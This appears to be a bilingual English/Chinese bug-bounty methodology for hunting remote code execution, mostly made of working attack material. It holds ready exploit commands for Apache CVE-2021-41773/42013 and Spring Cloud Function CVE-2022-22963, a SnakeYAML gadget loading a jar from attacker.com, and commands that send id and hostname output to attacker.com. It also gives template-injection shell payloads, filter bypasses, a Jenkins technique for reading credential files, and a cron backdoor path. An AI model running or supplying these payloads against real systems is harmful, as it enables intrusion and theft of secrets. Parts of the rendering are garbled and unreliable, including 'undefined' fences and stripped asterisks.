hunt-rce

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Crown Jewel Targets

核心高价值目标

RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:
Highest-paying asset types:
  • Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
  • Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
  • Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
  • Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
  • Admin/management consoles — template injection in configuration panels reaches root with a single payload
Why this class pays most:
  • Blast radius is infrastructure-wide, not user-scoped
  • Proof-of-concept is unambiguous — shell output is undeniable
  • Fix requires architectural changes, not just a patch
  • Programs cannot afford false negatives on RCE

RCE漏洞在Bug Bounty计划中能获得最高额的赏金,因为它们允许攻击者直接控制目标基础设施的执行权限。最高价值的目标包括:
最高赏金资产类型:
  • 企业服务器产品(GitHub Enterprise Server、自托管GitLab)——从低权限控制台角色到root SSH权限的权限提升链,通常会获得严重/高危评级的赏金
  • 供应链/包注册表——针对npm、PyPI等的依赖混淆攻击,在所有大型项目中都属于严重级别
  • 云原生基础设施——暴露的Kubernetes API服务器、Ingress控制器以及配置错误的CI/CD流水线
  • 移动应用后端与OAuth流程——攻击者可控数据的服务器端处理与执行环境交汇的场景
  • 管理控制台——配置面板中的模板注入可通过单个Payload获取root权限
该类漏洞赏金最高的原因:
  • 影响范围覆盖整个基础设施,而非仅单个用户
  • 概念验证明确无误——Shell输出无法否认
  • 修复需要架构层面的变更,而非仅打补丁
  • 项目无法承受RCE漏洞的漏报

Attack Surface Signals

攻击面信号

URL Patterns

URL模式

/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=

Response Headers / Tech Stack Signals

响应头/技术栈信号

X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection
X-Powered-By: Express          # Node.js — npm依赖攻击面
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes Ingress —路径字段注入
X-Runtime: Ruby                # Rails ActiveStorage、RDoc、REXML攻击面
Content-Type: application/yaml # YAML解析器(SnakeYAML、Psych)——反序列化
X-GitHub-Enterprise-Version    # GHAS — nomad模板、collectd、syslog-ng注入

JavaScript / Frontend Signals

JavaScript/前端信号

javascript
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution
javascript
// 在JS包中查找这些模式
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL方案绕过→JS执行

Tech Stack Signals

技术栈信号

SignalRCE Vector
nomad
in config UI
Template injection →
{{ ... }}
syslog-ng
config editable
Config injection →
program()
destination
collectd
config editable
Plugin exec injection
SnakeYAML
in classpath
!!javax.script.ScriptEngineManager [...]
npm
package.json
internal scope
Dependency confusion
ingress-nginx annotationsPath field regex bypass

信号RCE向量
配置UI中存在
nomad
模板注入→
{{ ... }}
syslog-ng
配置可编辑
配置注入→
program()
目标
collectd
配置可编辑
插件执行注入
类路径中存在
SnakeYAML
!!javax.script.ScriptEngineManager [...]
npm
package.json
内部作用域
依赖混淆
ingress-nginx注解路径字段正则绕过

Step-by-Step Hunting Methodology

分步狩猎方法论

  1. Map the execution contexts first. Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.
  2. Enumerate admin/management interfaces. Crawl for
    /management-console
    ,
    /admin
    ,
    /_internal
    ,
    /setup
    ,
    /config
    . These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.
  3. Check template injection in every config field. In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit
    {{7*7}}
    ,
    ${7*7}
    ,
    <%= 7*7 %>
    . Look for
    49
    in responses, logs, or DNS callbacks.
  4. Test YAML/XML/serialized input for code execution. Any endpoint accepting
    Content-Type: application/yaml
    or
    application/xml
    :
    • SnakeYAML: submit
      !!javax.script.ScriptEngineManager
      gadget
    • Ruby YAML: submit
      !ruby/object:Gem::Installer
      gadget
    • REXML: submit billion-laughs / quadratic blowup XML
  5. Hunt dependency confusion. For every npm/pip/gem internal package name visible in JS bundles, error messages, or
    package.json
    in public repos — register a higher-versioned package on the public registry pointing to a canary callback.
  6. Check file path operations for traversal → execution. ActiveStorage, file upload handlers, symlink operations: submit
    ../../../etc/cron.d/shell
    as filename. Confirm write then trigger execution.
  7. Audit Kubernetes/cloud-native surfaces. Run
    kubectl
    against any exposed API server. Check ingress annotations, especially
    nginx.ingress.kubernetes.io/configuration-snippet
    and
    spec.rules.http.paths.path
    for Lua/regex injection.
  8. Test OAuth redirect URI and URL scheme handlers. Mobile apps processing
    javascript:
    or
    intent://
    URIs via OAuth redirect may execute JavaScript. Try
    javascript:alert(document.cookie)
    and custom scheme URIs.
  9. Verify with out-of-band callbacks. Never rely solely on visible output. Use Burp Collaborator, interactsh, or
    canarytokens.org
    DNS tokens. Blind RCE is common in backend processors.
  10. Chain privileges. A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"

  1. 先映射执行上下文。在测试Payload之前,确定用户可控输入接触到执行层的所有场景:模板引擎、Shell命令、YAML解析器、操作中使用的文件路径、包解析和配置文件。
  2. 枚举管理/管理界面。爬取
    /management-console
    /admin
    /_internal
    /setup
    /config
    等路径。这些界面权限要求较低但权限级别较高——GHES集群曾从单个控制台角色中发现6个独立的RCE漏洞。
  3. 检查每个配置字段中的模板注入。在任何接受自由格式配置的管理UI(日志目标、通知格式、代理设置)中,提交
    {{7*7}}
    ${7*7}
    <%= 7*7 %>
    。在响应、日志或DNS回调中查找
    49
  4. 测试YAML/XML/序列化输入的代码执行。任何接受
    Content-Type: application/yaml
    application/xml
    的端点:
    • SnakeYAML:提交
      !!javax.script.ScriptEngineManager
      gadget
    • Ruby YAML:提交
      !ruby/object:Gem::Installer
      gadget
    • REXML:提交十亿笑/二次爆炸XML
  5. 狩猎依赖混淆。对于JS包、错误消息或公共仓库中
    package.json
    里可见的每个npm/pip/gem内部包名——在公共注册表中注册一个更高版本的包,指向金丝雀回调。
  6. 检查文件路径操作中的遍历→执行。ActiveStorage、文件上传处理程序、符号链接操作:提交
    ../../../etc/cron.d/shell
    作为文件名。确认写入后触发执行。
  7. 审计Kubernetes/云原生攻击面。对任何暴露的API服务器运行
    kubectl
    。检查Ingress注解,尤其是
    nginx.ingress.kubernetes.io/configuration-snippet
    spec.rules.http.paths.path
    是否存在Lua/正则注入。
  8. 测试OAuth重定向URI和URL方案处理程序。通过OAuth重定向处理
    javascript:
    intent://
    URI的移动应用可能执行JavaScript。尝试
    javascript:alert(document.cookie)
    和自定义方案URI。
  9. 通过带外回调验证。永远不要仅依赖可见输出。使用Burp Collaborator、interactsh或
    canarytokens.org
    的DNS令牌。盲RCE在后端处理器中很常见。
  10. 权限链攻击。低严重性配置错误(编辑器角色、CSRF、路径遍历)与RCE原语结合等于严重级别。始终问自己:“从这里我能访问到什么?”

Payload & Detection Patterns

Payload与检测模式

Template Injection Probes

模板注入探测

undefined
undefined

Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity

通用多语言Payload——适用于Jinja2、Twig、Freemarker、Pebble、Velocity

{{77}}${77}#{77}<%= 77 %>{77} {{'7'*7}} {{config}} {{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}
{{77}}${77}#{77}<%= 77 %>{77} {{'7'*7}} {{config}} {{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}

Nomad template injection (Go text/template)

Nomad模板注入(Go text/template)

{{ env "NOMAD_SECRET_ID" }} {{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }} {{ runscript "id" }}
undefined
{{ env "NOMAD_SECRET_ID" }} {{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }} {{ runscript "id" }}
undefined

Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)

Apache HTTP Server别名路径遍历(CVE-2021-41773 / CVE-2021-42013)

Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:
  • Alias without
    Options +ExecCGI
    (e.g.
    /icons/
    ) → arbitrary file read only
  • Alias with
    Options +ExecCGI
    (e.g.
    /cgi-bin/
    ) → arbitrary code execution
Version fingerprint:
bash
curl -sI http://target/ | grep -i "Server:"
Apache 2.4.49(以及2.4.50补丁绕过)中的路径规范化漏洞允许攻击者通过点编码段通过配置的别名路径逃离DocumentRoot。相同的原语根据接受遍历的别名不同,产生的影响截然不同:
  • Options +ExecCGI
    的别名(如
    /icons/
    )→仅任意文件读取
  • Options +ExecCGI
    的别名(如
    /cgi-bin/
    )→任意代码执行
版本指纹:
bash
curl -sI http://target/ | grep -i "Server:"

Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)

存在漏洞:Apache/2.4.49(CVE-2021-41773)或Apache/2.4.50(CVE-2021-42013)

Patched: Apache/2.4.51+

已修复: Apache/2.4.51+


**File-read test (any alias):**
```bash
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

**文件读取测试(任意别名):**
```bash
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Note: --path-as-is is REQUIRED — curl normalizes %2e by default

注意:--path-as-is是必需的——curl默认会规范化%2e


**RCE test (cgi-enabled alias only):**
```bash
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on
/icons/
should always be escalated by re-probing
/cgi-bin/
(and any other alias visible from
<Directory>
blocks in the server-info disclosure or response patterns). See
triage-validation
Pre-Severity Gate.

**RCE测试(仅支持CGI的别名):**
```bash
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
**分类验证注意事项:**当相同的路径遍历原语在多个别名上生效,但只有一个别名支持CGI时,最高影响即为严重级别——而非平均值。
/icons/
上的“文件读取”发现应始终通过重新探测
/cgi-bin/
(以及服务器信息披露或响应模式中可见的任何其他别名)来升级。请参阅
triage-validation
预严重级别门限。

Spring Cloud Function SpEL injection (CVE-2022-22963)

Spring Cloud Function SpEL注入(CVE-2022-22963)

Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the
spring.cloud.function.routing-expression
header as a SpEL expression on the
/functionRouter
endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because
/functionRouter
auto-registers and devs don't add an explicit gate.
Detection:
  • Spring-style port 8080 with
    /uppercase
    ,
    /lowercase
    , or arbitrary single-word function endpoints responding 200
  • Confirm with
    curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"
    → returns
    TEST
  • Version banner via
    /actuator/info
    or response headers
Exploit:
bash
curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"
The
new String[]{"...", "..."}
array form avoids shell-quoting issues that break the more common
.exec("id")
form when the SpEL header contains parentheses or quotes.
Generalizes to: any Spring application that takes user input into a
SpelExpressionParser.parseExpression()
call, especially when delivered via header / query-param routes that bypass normal auth filters. See
hunt-ssti
for the broader SpEL fingerprinting (
*{7*7}
= Spring Thymeleaf).
Spring Cloud Function ≤3.2.2(以及≤3.1.6)会在
/functionRouter
端点上将
spring.cloud.function.routing-expression
头作为SpEL表达式求值,无需认证,且在任何路由逻辑之前。广泛部署于AWS Lambda + Cloud Run + 本地函数平台。通常会暴露在外部,因为
/functionRouter
会自动注册,而开发者不会添加显式的访问控制。
检测:
  • Spring风格的8080端口,带有
    /uppercase
    /lowercase
    或任意单字函数端点,响应200
  • 通过
    curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"
    确认→返回
    TEST
  • 通过
    /actuator/info
    或响应头获取版本信息
利用:
bash
curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"
new String[]{"...", "..."}
数组形式避免了SpEL头包含括号或引号时,更常见的
.exec("id")
形式出现的Shell引用问题。
**通用场景:**任何将用户输入传入
SpelExpressionParser.parseExpression()
调用的Spring应用,尤其是通过绕过正常认证过滤器的头/查询参数路由传递输入的情况。请参阅
hunt-ssti
了解更广泛的SpEL指纹识别(
*{7*7}
= Spring Thymeleaf)。

SnakeYAML RCE Gadget

SnakeYAML RCE Gadget

yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]
yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]

Ruby YAML / rdoc_options RCE

Ruby YAML / rdoc_options RCE

yaml
--- !ruby/object:Gem::Installer
i: x
yaml
--- !ruby/object:Gem::Installer
i: x

Dependency Confusion Detection

依赖混淆检测

bash
undefined
bash
undefined

Find internal package names

查找内部包名

grep -r '"name"' node_modules/ | grep '@internal|@company|@private'
grep -r '"name"' node_modules/ | grep '@internal|@company|@private'

Check if public registry has higher version

检查公共注册表是否有更高版本

npm view @target-company/internal-package version 2>/dev/null
undefined
npm view @target-company/internal-package version 2>/dev/null
undefined

Ingress-nginx Path Injection

Ingress-nginx路径注入

undefined
undefined

In spec.rules.http.paths.path

在spec.rules.http.paths.path中

/something)(;.*);#
/something)(;.*);#

Results in nginx config injection

导致nginx配置注入

undefined
undefined

Kubernetes Exposed API Check

Kubernetes暴露API检查

bash
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
bash
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces

Out-of-Band RCE Confirmation

带外RCE确认

bash
undefined
bash
undefined

Payload to confirm blind RCE via DNS

通过DNS确认盲RCE的Payload

curl "http://$(id | base64).YOUR-INTERACTSH-URL/" nslookup $(whoami).attacker.com wget http://attacker.com/$(cat /etc/hostname)
undefined
curl "http://$(id | base64).YOUR-INTERACTSH-URL/" nslookup $(whoami).attacker.com wget http://attacker.com/$(cat /etc/hostname)
undefined

ActiveStorage Path Traversal → RCE

ActiveStorage路径遍历→RCE

undefined
undefined

Filename in upload request

上传请求中的文件名

filename="../../../../etc/cron.d/backdoor"
filename="../../../../etc/cron.d/backdoor"

Cron payload content

Cron Payload内容

undefined
undefined

Args4j
@
-prefix file expansion (Jenkins CVE-2024-23897 family)

Args4j
@
前缀文件扩展(Jenkins CVE-2024-23897系列)

Java CLIs built on the
args4j
library default to
expandAtFiles=true
, which expands
@filename
arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).
Detection:
  • Target exposes
    /cli
    and
    /jnlpJars/jenkins-cli.jar
    (Jenkins family)
  • Or: any Java app whose CLI source uses args4j without
    expandAtFiles=false
Test (Jenkins):
bash
undefined
基于
args4j
库构建的Java CLI默认启用
expandAtFiles=true
,这会扩展
@filename
参数,读取文件并将每行视为单独的命令参数。当此类CLI通过HTTP暴露时(Jenkins CLI是典型案例),服务器端错误消息会回显失败的参数——将参数回显转化为任意文件读取原语。当“匿名读取访问”开启时(Jenkins全新安装的默认设置),无需认证即可利用。
检测:
  • 目标暴露
    /cli
    /jnlpJars/jenkins-cli.jar
    (Jenkins系列)
  • 或者:任何Java应用的CLI源码使用args4j但未设置
    expandAtFiles=false
测试(Jenkins):
bash
undefined

Get the legit CLI jar from the target

从目标获取合法的CLI jar包

First line of file leaks via 'help' error

文件第一行通过'help'错误泄露

java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd

→ ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash

→ ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash

Full file leaks via 'connect-node' (every line returned as a "no such agent" error)

通过'connect-node'泄露完整文件(每行返回为“无此代理”错误)

java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd

→ All passwd lines echoed back

→ 所有passwd行被回显

Recon: env vars + JENKINS_HOME path

侦察:环境变量 + JENKINS_HOME路径

java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ

**Crown-jewel files after JENKINS_HOME confirmed:**
- `/var/jenkins_home/secret.key` — master encryption key for stored credentials
- `/var/jenkins_home/secrets/master.key` — derives the encryption key
- `/var/jenkins_home/credentials.xml` — credential store (encrypted with secret.key — pair with offline decrypt tools)
- `/var/jenkins_home/users/*/config.xml` — per-user API tokens (often unencrypted)
- `/var/jenkins_home/jobs/*/config.xml` — pipeline configs that may inline AWS keys, SSH keys, registry tokens

**Pattern generalizes beyond Jenkins.** Any Java service that:
1. Embeds args4j (most enterprise Java CLIs since 2010s)
2. Exposes the CLI handler over HTTP (Jenkins, Hudson forks, custom internal tools)
3. Returns argument-parsing errors verbatim to the client

→ same arbitrary-read primitive applies. Validation via `triage-validation` Reproducibility Gate: confirm the leak on at least 2 distinct commands (e.g., `help` and `connect-node`) and verify the file content actually appears in the response, not just a generic 500.
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ

**确认JENKINS_HOME后的核心文件:**
- `/var/jenkins_home/secret.key`——存储凭证的主加密密钥
- `/var/jenkins_home/secrets/master.key`——派生加密密钥
- `/var/jenkins_home/credentials.xml`——凭证存储(用secret.key加密——需配合离线解密工具)
- `/var/jenkins_home/users/*/config.xml`——每个用户的API令牌(通常未加密)
- `/var/jenkins_home/jobs/*/config.xml`——流水线配置,可能内嵌AWS密钥、SSH密钥、注册表令牌

**模式适用于Jenkins之外的场景**。任何满足以下条件的Java服务:
1. 嵌入args4j(2010年代以来大多数企业Java CLI)
2. 通过HTTP暴露CLI处理程序(Jenkins、Hudson分支、自定义内部工具)
3. 将参数解析错误原封不动返回给客户端

→ 同样的任意读取原语适用。通过`triage-validation`可重复性门限验证:在至少2个不同命令(如`help`和`connect-node`)上确认泄露,并验证文件内容确实出现在响应中,而非仅通用500错误。

Grep Patterns for Source Review

源码审查的Grep模式

bash
undefined
bash
undefined

Command injection sinks

命令注入 sink

grep -rn "exec|system|popen|spawn|eval|subprocess" --include=".rb" . grep -rn "Runtime.exec|ProcessBuilder|ScriptEngine" --include=".java" .
grep -rn "exec|system|popen|spawn|eval|subprocess" --include=".rb" . grep -rn "Runtime.exec|ProcessBuilder|ScriptEngine" --include=".java" .

Template engine instantiation

模板引擎实例化

grep -rn "Mustache|Handlebars|nunjucks|render_template|Template(" .
grep -rn "Mustache|Handlebars|nunjucks|render_template|Template(" .

Unsafe YAML load

不安全的YAML加载

grep -rn "yaml.load\b|YAML.load\b" . # without Loader= argument grep -rn "Yaml()|new Yaml()" --include="*.java" .

---
grep -rn "yaml.load\b|YAML.load\b" . # 无Loader=参数 grep -rn "Yaml()|new Yaml()" --include="*.java" .

---

Common Root Causes

常见根本原因

1. Configuration-as-code with insufficient sanitization Administrators edit configuration files (syslog-ng, collectd, nomad) through web UIs. Developers assume admin == trusted, so they pass field values directly into config files that support execution primitives (
program()
destinations, exec plugins, template functions).
2. Template engines in privileged contexts Go's
text/template
, Freemarker, Velocity, and Twig are used for system configuration rendering. When user-controlled strings reach these engines without sandboxing, arbitrary code follows.
3. Dependency confusion / namespace squatting Internal packages published to private registries without locking the public registry namespace. Build systems that prefer public registries by default, or that fall through to public when the private registry lacks a package.
4. Unsafe deserialization of YAML/XML Developers use
YAML.load()
without safe loaders, or
new Yaml()
(SnakeYAML) without type restrictions. Ruby's
YAML.load
and Java's SnakeYAML both support arbitrary object instantiation by default.
5. Path traversal in file operation chains Filenames accepted from user input are used in filesystem operations without normalization. Rails ActiveStorage, file upload handlers, and rdoc generators trust the
filename
parameter.
6. Assuming low-privilege roles can't reach execution contexts The GHES management console granted "Editor" roles access to configuration fields that touched shell execution. Developers assumed privilege boundaries existed at a higher architectural level.
7. Missing input validation on infrastructure-facing fields Ingress/nginx annotation values, Kubernetes spec fields, and webhook URLs are treated as opaque strings — but the downstream processor (nginx config generator, regex engine) interprets them as code.

1. 配置即代码但 sanitization 不足 管理员通过Web UI编辑配置文件(syslog-ng、collectd、nomad)。开发者假设管理员是可信的,因此直接将字段值传入支持执行原语的配置文件(
program()
目标、exec插件、模板函数)。
2. 特权上下文中的模板引擎 Go的
text/template
、Freemarker、Velocity和Twig用于系统配置渲染。当用户可控字符串未经过沙箱处理就进入这些引擎时,任意代码执行随之而来。
3. 依赖混淆/命名空间抢占 内部包发布到私有注册表,但未锁定公共注册表命名空间。构建系统默认优先使用公共注册表,或者当私有注册表缺少包时回退到公共注册表。
4. YAML/XML的不安全反序列化 开发者使用
YAML.load()
而不使用安全加载器,或者使用
new Yaml()
(SnakeYAML)而不进行类型限制。Ruby的
YAML.load
和Java的SnakeYAML默认都支持任意对象实例化。
5. 文件操作链中的路径遍历 接受用户输入的文件名用于文件系统操作,但未进行规范化处理。Rails ActiveStorage、文件上传处理程序和rdoc生成器信任
filename
参数。
6. 假设低权限角色无法访问执行上下文 GHES管理控制台授予“编辑器”角色访问触及Shell执行的配置字段。开发者假设权限边界存在于更高的架构层面。
7. 面向基础设施字段缺少输入验证 Ingress/nginx注解值、Kubernetes spec字段和Webhook URL被视为不透明字符串——但下游处理器(nginx配置生成器、正则引擎)将它们解释为代码。

Bypass Techniques

绕过技巧

Bypass: Shell metacharacter filtering

绕过:Shell元字符过滤

bash
undefined
bash
undefined

Blocked: ; | & ` $()

被阻止: ; | & ` $()

Bypass using $IFS and encodings

使用$IFS和编码绕过

cat${IFS}/etc/passwd {cat,/etc/passwd} $'\x63\x61\x74' /etc/passwd # hex encoding $(printf '\x63\x61\x74') /etc/passwd
cat${IFS}/etc/passwd {cat,/etc/passwd} $'\x63\x61\x74' /etc/passwd # 十六进制编码 $(printf '\x63\x61\x74') /etc/passwd

Newline injection when semicolons blocked

分号被阻止时注入换行

payload=$'\ncurl attacker.com\n'
undefined
payload=$'\ncurl attacker.com\n'
undefined

Bypass: URL scheme allowlist (javascript: blocked)

绕过:URL方案白名单(javascript:被阻止)

undefined
undefined

Mobile apps often block javascript: but miss:

移动应用通常会阻止javascript:但会遗漏:

jAvAsCrIpT:alert(1) # case variation javascript:alert(1) # HTML entity javascript:void(alert(1)) # void wrapper intent://attacker.com#Intent;scheme=javascript;... data:text/html,<script>alert(1)</script>
undefined
jAvAsCrIpT:alert(1) # 大小写变化 javascript:alert(1) # HTML实体 javascript:void(alert(1)) # void包装 intent://attacker.com#Intent;scheme=javascript;... data:text/html,<script>alert(1)</script>
undefined

Bypass: YAML safe_load / type restrictions

绕过:YAML safe_load / 类型限制

yaml
undefined
yaml
undefined

If !!java.* is blocked, try legitimate classes with side effects

如果!!java.*被阻止,尝试有副作用的合法类

!!com.sun.rowset.JdbcRowSetImpl dataSourceName: 'ldap://attacker.com/a' autoCommit: true
!!com.sun.rowset.JdbcRowSetImpl dataSourceName: 'ldap://attacker.com/a' autoCommit: true

Or find allowlisted types with dangerous constructors

或者查找允许列表中具有危险构造函数的类型

undefined
undefined

Bypass: npm scope restrictions

绕过:npm作用域限制

undefined
undefined

If @company/* is monitored, look for unscoped internal names

如果@company/*被监控,查找未加作用域的内部名称

e.g., "internal-utils" instead of "@company/internal-utils"

例如,"internal-utils"而非"@company/internal-utils"

Public registries serve unscoped packages first

公共注册表优先提供未加作用域的包

undefined
undefined

Bypass: Path traversal filters

绕过:路径遍历过滤

undefined
undefined

Basic filter bypass

基础过滤绕过

../ → ..%2F → %2e%2e%2f → ....//
../ → ..%2F → %2e%2e%2f → ....//

Double encoding

双重编码

%252e%252e%252f
%252e%252e%252f

Unicode normalization

Unicode规范化

..%c0%af (overlong UTF-8)
..%c0%af (超长UTF-8)

Null byte (older systems)

空字节(旧系统)

../../etc/passwd%00.jpg
undefined
../../etc/passwd%00.jpg
undefined

Bypass: Template injection with output filtering

绕过:输出过滤的模板注入

undefined
undefined

If {{ }} is sanitized on output but not evaluation:

如果{{ }}在输出时被 sanitize 但未在求值时被处理:

{% for x in range(1) %}{{ lipsum.globals.os.popen('id').read() }}{% endfor %}
{% for x in range(1) %}{{ lipsum.globals.os.popen('id').read() }}{% endfor %}

Blind — use DNS callback instead of output

盲注入——使用DNS回调而非输出

{{ lipsum.globals.os.popen('nslookup $(id).attacker.com').read() }}
undefined
{{ lipsum.globals.os.popen('nslookup $(id).attacker.com').read() }}
undefined

Bypass: WAF blocking
exec
,
system
,
popen

绕过:WAF阻止
exec
system
popen

ruby
undefined
ruby
undefined

Ruby

Ruby

send(:system, "id") method(:exec).call("id") Kernel.send(:`, "id") Object.const_get(:Kernel).system("id")

---
send(:system, "id") method(:exec).call("id") Kernel.send(:`, "id") Object.const_get(:Kernel).system("id")

---

Gate 0 Validation

0号门限验证

Before writing the report, confirm all three:
1. What can the attacker DO right now? You must be able to demonstrate one of: execute
id
/
whoami
and capture the output, make a DNS/HTTP callback from the target server to your controlled host, write a file to the filesystem, or read
/etc/passwd
. "Might be able to" fails this gate.
2. What does the victim LOSE? Articulate the concrete impact: source code exfiltration, credential theft (database, API keys, cloud IAM), lateral movement to internal network, supply chain compromise of downstream users, data destruction. Generic "attacker gains RCE" fails — name the crown jewels at risk.
3. Can it be reproduced in 10 minutes from scratch? Write the reproduction steps before submitting. If you need more than: (a) a Burp request, (b) a payload file, and (c) a listener — simplify it. If reproduction requires a specific race condition, timing, or ephemeral state, document the exact conditions. Triagers who can't reproduce in one attempt will downgrade or close the report.

撰写报告前,确认以下三点:
1. 攻击者现在能做什么? 你必须能够演示以下其中一项:执行
id
/
whoami
并捕获输出,从目标服务器向你控制的主机发起DNS/HTTP回调,向文件系统写入文件,或读取
/etc/passwd
。“可能能够做到”无法通过此门限。
2. 受害者会失去什么? 明确具体影响:源代码泄露、凭证窃取(数据库、API密钥、云IAM)、横向移动到内部网络、下游用户的供应链 compromise、数据销毁。泛泛的“攻击者获得RCE”无法通过——要指出面临风险的核心资产。
3. 能否在10分钟内从头复现? 提交前撰写复现步骤。如果需要的步骤超过:(a)一个Burp请求,(b)一个Payload文件,(c)一个监听器——请简化。如果复现需要特定的竞争条件、时间或临时状态,请记录确切条件。无法一次复现的分类人员会降级或关闭报告。

Real Impact Examples

实际影响示例

Scenario A: Management Console Role → Root Shell (Enterprise Server) An attacker with a low-privileged "Management Console Editor" account on a GitHub Enterprise Server instance identified that the syslog-ng configuration UI accepted a free-form "destination" field. By injecting a
program()
destination containing a reverse shell command, the attacker caused the syslog-ng daemon (running as root) to execute arbitrary OS commands upon log receipt. The same attack surface was independently found in collectd's exec plugin configuration and nomad's job template rendering — all reachable from the same editor role. Impact: full root compromise of the enterprise git server hosting all organization source code, secrets, and CI/CD pipelines.
Scenario B: Dependency Confusion → RCE on Build Infrastructure A researcher enumerated internal npm package names by reviewing JavaScript bundles served from target CDN endpoints and public GitHub repositories belonging to a major payments platform. Several
@internal/*
scoped packages were referenced but not registered on the public npm registry. The researcher published higher-versioned packages with identical names containing a postinstall script that executed a canary callback. Within hours, the callback fired from multiple IP addresses belonging to the target's CI/CD build farm — confirming that every npm install on their build infrastructure executed attacker-controlled code. The same technique worked against a ride-sharing platform's internal tooling. Impact: arbitrary code execution on build servers with access to production deployment credentials and signing keys.
Scenario C: Exposed Kubernetes API → Cluster Takeover During reconnaissance on a target's cloud infrastructure, a researcher discovered a publicly accessible Kubernetes API server (port 6443) with overly permissive RBAC. Using default service account tokens and unauthenticated API calls, the researcher enumerated running pods, retrieved secrets from the default namespace (including database credentials and third-party API keys), and demonstrated the ability to spawn privileged pods with
hostPID: true
— enabling full node compromise. The Kubernetes cluster managed the target's core production services. Impact: access to all stored secrets, ability to deploy malicious workloads, and pivot to every service in the cluster.

